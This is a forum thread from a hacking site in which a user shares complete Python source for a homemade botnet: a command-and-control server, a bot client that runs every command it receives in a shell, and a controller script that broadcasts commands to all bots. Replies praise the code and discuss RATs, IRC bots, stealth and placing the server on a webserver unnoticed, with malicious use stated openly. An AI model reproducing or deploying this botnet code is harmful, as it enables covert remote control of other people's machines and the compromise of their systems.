EvilZone

Programming and Scripting => Projects and Discussion => : Ragehottie July 30, 2012, 12:52:52 AM

: My finished [for the most part] bot
: Ragehottie July 30, 2012, 12:52:52 AM
Well, I have finished my botnet. The new version has no more than 3 threads running at a time on the server. Version 0.2 will have a option to save the bots so you can restart the server. But as of now all it does it execute the commands through the shell. It's still a great accomplishment for me though :D


....oh yeah, the code:


Server:
: (python)

# Server for my botnet
#######################
USERNAME = 'Commander'
PASSWORD = 'password'
#######################


from threading import *
from socket import *


PORT = 5000
BUFSIZE = 1024
ADDRESS = ('', PORT)
BOT_LIST = []
NUMBER_OF_BOTS = 0
server = socket(AF_INET, SOCK_STREAM)




server.bind(ADDRESS)
server.listen(5)


class BotHandler(Thread):
   
   def __init__(self, client):
      Thread.__init__(self)
      self._bot = client
     
   def run(self):
      BOT_LIST.append(self._bot)
      self._bot.shutdown(SHUT_RD)


     
class CommanderHandler(Thread):
   
   def __init__(self, client):
      Thread.__init__(self)
      self._commander = client
     
   def run(self):
      self._commander.send('Welcome, ' + USERNAME)
      while True:
         self._command = self._commander.recv(1024)
         if self._command == 'numberofbots':
            self._commander.send(str(NUMBER_OF_BOTS))
         else:
            for self._element in BOT_LIST:
               self._element.send(self._command)
               
               
while True:
   client, address = server.accept()
   UserPass = client.recv(1024)
   if UserPass == 'Bot':
      NUMBER_OF_BOTS += 1
      Handler = BotHandler(client)
      Handler.start()
   
   elif UserPass == USERNAME + ':' + PASSWORD:
      Handler = CommanderHandler(client)
      Handler.start()
   else:
      client.send('GTFO Noob.')
      client.close()
   print active_count()


Bot:
: (python)

# Bot for my botnet


from socket import *
from subprocess import *


IP = 'localhost'
PORT = 5000
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)


server.connect(ADDRESS)
server.send('Bot')


while True:
   command = server.recv(1024)
   execute = Popen(command, shell = True, stdin = PIPE, stdout = PIPE, stderr = PIPE)
   # stdout, stderr = execute.communicate()
   # print 'STDOUT: ' + stdout + '\n'         Uncomment for debugging
   # print 'STDERR: ' + stderr + '\n'


And the commander script to control it:
: (python)

# Commander script for my botnet


from socket import *


IP = 'localhost'
PORT = 5000
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)


username = raw_input('Username: ')
password = raw_input('Password: ')
userPass = username + ':' + password


server.connect(ADDRESS)
server.send(userPass)
greeting = server.recv(1024)
print greeting


while True:
   command = raw_input('> ')
   if command == 'exit':
      server.close()
   elif command == 'numberofbots':
      server.send(command)
      numberofbots = server.recv(1024)
      print numberofbots
   else:
      server.send(command)
: Re: My finished [for the most part] Botnet :D
: bubzuru August 02, 2012, 03:48:25 PM
i have dirty confession, iv never coded  python :|

but this code looks nice , well formatted + 1
: Re: My finished [for the most part] Botnet :D
: Daemon August 02, 2012, 05:20:58 PM
i have dirty confession, iv never coded  python :|

but this code looks nice , well formatted + 1

Me either, but heres a damn good reason to start

http://www.linuxjournal.com/article/3882
: Re: My finished [for the most part] Botnet :D
: Ragehottie August 02, 2012, 07:56:14 PM
i have dirty confession, iv never coded  python :|

but this code looks nice , well formatted + 1


Thank you :D
: Re: My finished [for the most part] Botnet :D
: D4rkC10ud August 30, 2012, 04:56:15 AM
In Pyton coder can`t create bad formatted code :)
: Re: My finished [for the most part] Botnet :D
: Ragehottie August 31, 2012, 10:40:09 PM
: D4rkC10ud link=topic=54no69.msg29212#msg29212 date=1346295375
In Pyton coder can`t create bad formatted code :)
Not true at all. Just because it is indented, it does not mean it looks nice.
: Re: My finished [for the most part] bot
: namespace7 August 31, 2012, 11:25:27 PM
Interesting project mate, I will definitely check the code out. Never coded a bot/server before.

: Re: My finished [for the most part] bot
: bubzuru September 01, 2012, 01:40:50 PM
Interesting project mate, I will definitely check the code out. Never coded a bot/server before.



you should try
making the bot\(server, if = IRC) is not hard, its making the protocol that it rides on that's hard, that's why its easier to make an irc bot than your own R.A.T
: Re: My finished [for the most part] bot
: namespace7 September 01, 2012, 06:22:51 PM
I will definitely give it a try.
A botnet, a R.A.T and an IRC bot are three very different things, are they not?
Both botnet and a R.A.T. require a server and a client to work, while an IRC bot is a single entity, right?
Which would you recommend to code first? Never coded any of these.
: Re: My finished [for the most part] bot
: Ragehottie September 01, 2012, 07:07:11 PM
I will definitely give it a try.
A botnet, a R.A.T and an IRC bot are three very different things, are they not?
Both botnet and a R.A.T. require a server and a client to work, while an IRC bot is a single entity, right?
Which would you recommend to code first? Never coded any of these.


I tried to make a telnet client first. A no- install telnet server. Just place and run type server(For malicious purposes). I then went to IRC botnet, which I couldn't get my IRC server to work, so I went back to writing my own server/client. I feel like you would learn alot more doing a client/server, and you have more control over the network. For instance, this server is very light on the computer, so I can just place it on a webserver and they won't really tell a difference in performance. 
: Re: My finished [for the most part] bot
: Z3R0 September 01, 2012, 07:31:50 PM
you should try
making the bot\(server, if = IRC) is not hard, its making the protocol that it rides on that's hard, that's why its easier to make an irc bot than your own R.A.T
I tried doing that back in the day with vb6...that was a nightmare! The client had to be created from a stub, I had to make a completely separate module for all of the winsock controls, getting functions to work through winsock didn't always work, etc. It was just a complete mess! All the better because of it though.


Edit: Daemon, it wasn't for an IRC bot, it was for a R.A.T.
: Re: My finished [for the most part] bot
: Daemon September 02, 2012, 02:12:20 AM
I tried doing that back in the day with vb6...that was a nightmare! The client had to be created from a stub, I had to make a completely separate module for all of the winsock controls, getting functions to work through winsock didn't always work, etc. It was just a complete mess! All the better because of it though.

VB6...theres your problem lol. Personally if i were going to do any sort of IRC bot scripting I would use either perl or python (perl most likely as that's what IRSSI uses for startup scripts and customization) Any sort of GUI on it would just make it too bloated to be stealthy, and a pain to interface with the IRC imo.
: Re: My finished [for the most part] bot
: bubzuru September 24, 2012, 11:41:50 AM
VB6...theres your problem lol. Personally if i were going to do any sort of IRC bot scripting I would use either perl or python (perl most likely as that's what IRSSI uses for startup scripts and customization) Any sort of GUI on it would just make it too bloated to be stealthy, and a pain to interface with the IRC imo.

irc is a very simple protocol
http://www.irchelp.org/irchelp/rfc/rfc.html

a scripting language would not be my first choice for an irc bot (a malicious one anyways)
its basicly just open the socket, send the auth, ping\pong, bla bla do shit for me

the server is allready there, you just need to talk to it. no need for the bot to have a gui (its just a socket sending messages) and you (the master) will just use any irc client